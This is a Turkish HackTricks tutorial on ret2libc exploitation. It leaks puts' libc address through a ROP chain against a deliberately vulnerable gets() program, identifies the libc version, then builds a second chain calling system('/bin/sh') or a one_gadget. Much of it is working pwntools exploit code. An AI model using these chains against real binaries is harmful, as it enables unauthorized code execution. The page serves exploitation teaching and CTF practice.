ROP ile libc adresini sızdırma
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Hızlı Özeti
- Taşma ofsetini bul
- POP_RDI gadget'ını,
PUTS_PLT
veMAIN
gadget'larını bul - Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun bellek adresini sızdır ve libc sürümünü bul (indirin)
- Kütüphane ile, ROP'u hesapla ve istismar et
Pratik için diğer eğitimler ve ikili dosyalar
Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Diğer yararlı eğitimler: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Kod
Dosya adı: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - LIBC Sızıntı Şablonu
Exploit'i indirin ve onu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin:
1- Ofseti Bulma
Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, bunu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Çalıştır python template.py
, bir GDB konsolu açılacak ve program çökertilecektir. O GDB konsolu içinde x/wx $rsp
komutunu çalıştırarak RIP'i geçecek olan baytları al. Son olarak, bir python konsolu kullanarak offset değerini al:
from pwn import *
cyclic_find(0x6161616b)
Offset'u bulduktan sonra (bu durumda 40) bu değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin.
OFFSET = "A" * 40
Başka bir yol ise: pattern create 1000
-- ret'ye kadar çalıştır -- pattern seach $rsp
GEF'den kullanmaktır.
2- Gadget'ları Bulma
Artık ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan libc'yi bulmak için puts
çağırmak ve daha sonra son istismarı başlatmak için faydalı olacaktır.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
, puts fonksiyonunu çağırmak için gereklidir.
MAIN_PLT
, bir etkileşimden sonra overflow'u tekrar istismar etmek için main function'ı tekrar çağırmak için gereklidir (sonsuz istismar turları). Her ROP'un sonunda programı tekrar çağırmak için kullanılır.
POP_RDI, çağrılan fonksiyona bir parametre geçmek için gereklidir.
Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır.
3- libc kütüphanesini bulma
Artık hangi sürüm libc kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, puts fonksiyonunun bellek adresini sızdıracağız ve ardından bu adreste hangi kütüphane sürümü içinde puts sürümünün bulunduğunu arama yapacağız.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Bunu yapmak için, yürütülen kodun en önemli satırı şudur:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Bu, bazı baytları RIP'i aşındırmak mümkün olana kadar gönderecektir: OFFSET
.
Sonra, POP_RDI
gadget'ının adresini ayarlayacak, böylece bir sonraki adres (FUNC_GOT
) RDI kaydına kaydedilecektir. Bunun nedeni, puts'u çağırmak istememizdir ve ona PUTS_GOT
'ın adresini geçiyoruz çünkü puts fonksiyonunun bellek adresi PUTS_GOT
tarafından işaret edilen adreste saklanmaktadır.
Bundan sonra, PUTS_PLT
çağrılacak (içinde RDI'de PUTS_GOT
ile) böylece puts, PUTS_GOT
içindeki içeriği (puts fonksiyonunun bellek adresi) okuyacak ve yazdıracaktır.
Son olarak, ana fonksiyon tekrar çağrılır böylece taşmayı tekrar istismar edebiliriz.
Bu şekilde, puts fonksiyonunu belirli bir adresi yazdırması için kandırdık (libc kütüphanesinde bulunan puts fonksiyonunun bellek adresi). Artık bu adrese sahip olduğumuza göre, hangi libc sürümünün kullanıldığını arayabiliriz.
Yerel bir ikiliyi istismar ettiğimiz için, hangi libc sürümünün kullanıldığını bulmamız gerekmez (sadece /lib/x86_64-linux-gnu/libc.so.6
içindeki kütüphaneyi bulmak yeterlidir).
Ancak, uzaktan bir istismar durumunda bunu nasıl bulabileceğinizi burada açıklayacağım:
3.1- libc sürümünü arama (1)
Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: https://libc.blukat.me/
Ayrıca, keşfedilen libc sürümünü indirmenize de olanak tanır.
3.2- libc sürümünü arama (2)
Ayrıca şunları yapabilirsiniz:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Bu biraz zaman alacaktır, sabırlı olun.
Bunun çalışması için şunlara ihtiyacımız var:
- Libc sembol adı:
puts
- Sızdırılan libc adresi:
0x7ff629878690
Hangi libc'nin muhtemelen kullanıldığını belirleyebiliriz.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
dosyasını çalışma dizinimize kopyalayın.
3.3- Sızdırmak için diğer fonksiyonlar
puts
printf
__libc_start_main
read
gets
4- Bulunma temelli libc adresi ve istismar
Bu noktada kullandığımız libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: /lib/x86_64-linux-gnu/libc.so.6
Bu nedenle, template.py
dosyasının başında libc değişkenini şuna değiştirin: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın
libc kütüphanesine yolu vererek, geri kalan istismar otomatik olarak hesaplanacak.
get_addr
fonksiyonu içinde libc'nin temel adresi hesaplanacak:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Son libc temel adresinin 00 ile bitmesi gerektiğini unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz.
Ardından, system
fonksiyonunun adresi ve adres "/bin/sh" dizesi libc'nin temel adresinden hesaplanacak ve libc kütüphanesi verilecektir.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Son ROP'u açıklayalım.
Son ROP (rop1
), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden yine istismar edebiliriz overflow (bu yüzden OFFSET
burada tekrar var). Ardından, addres "/bin/sh" (BINSH
) işaret eden POP_RDI
'yi çağırmak ve system fonksiyonunu (SYSTEM
) çağırmak istiyoruz çünkü "/bin/sh" adresi bir parametre olarak geçilecektir.
Son olarak, çıkış fonksiyonunun adresi çağrılır böylece işlem güzel bir şekilde çıkar ve herhangi bir uyarı üretilmez.
Bu şekilde istismar bir /bin/sh shell'i çalıştıracaktır.
4(2)- ONE_GADGET KULLANARAK
Ayrıca ONE_GADGET kullanarak system ve "/bin/sh" yerine bir shell elde edebilirsiniz. ONE_GADGET, libc kütüphanesi içinde sadece bir ROP adresi kullanarak bir shell elde etmenin bir yolunu bulacaktır.
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca kaçınılabilenler [rsp+0x30] == NULL
gibidir. RSP içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT DOSYASI
Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz:
Yaygın problemler
MAIN_PLT = elf.symbols['main'] bulunamadı
Eğer "main" sembolü yoksa, ana kodun nerede olduğunu bulabilirsiniz:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
ve adresi manuel olarak ayarlayın:
MAIN_PLT = 0x401080
Puts bulunamadı
Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etmelisiniz.
sh: 1: %s%s%s%s%s%s%s%s: bulunamadı
Eğer tüm istismarı oluşturduktan sonra bu hata ile karşılaşırsanız: sh: 1: %s%s%s%s%s%s%s%s: bulunamadı
"/bin/sh" adresinden 64 bayt çıkarmayı deneyin:
BINSH = next(libc.search("/bin/sh")) - 64
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.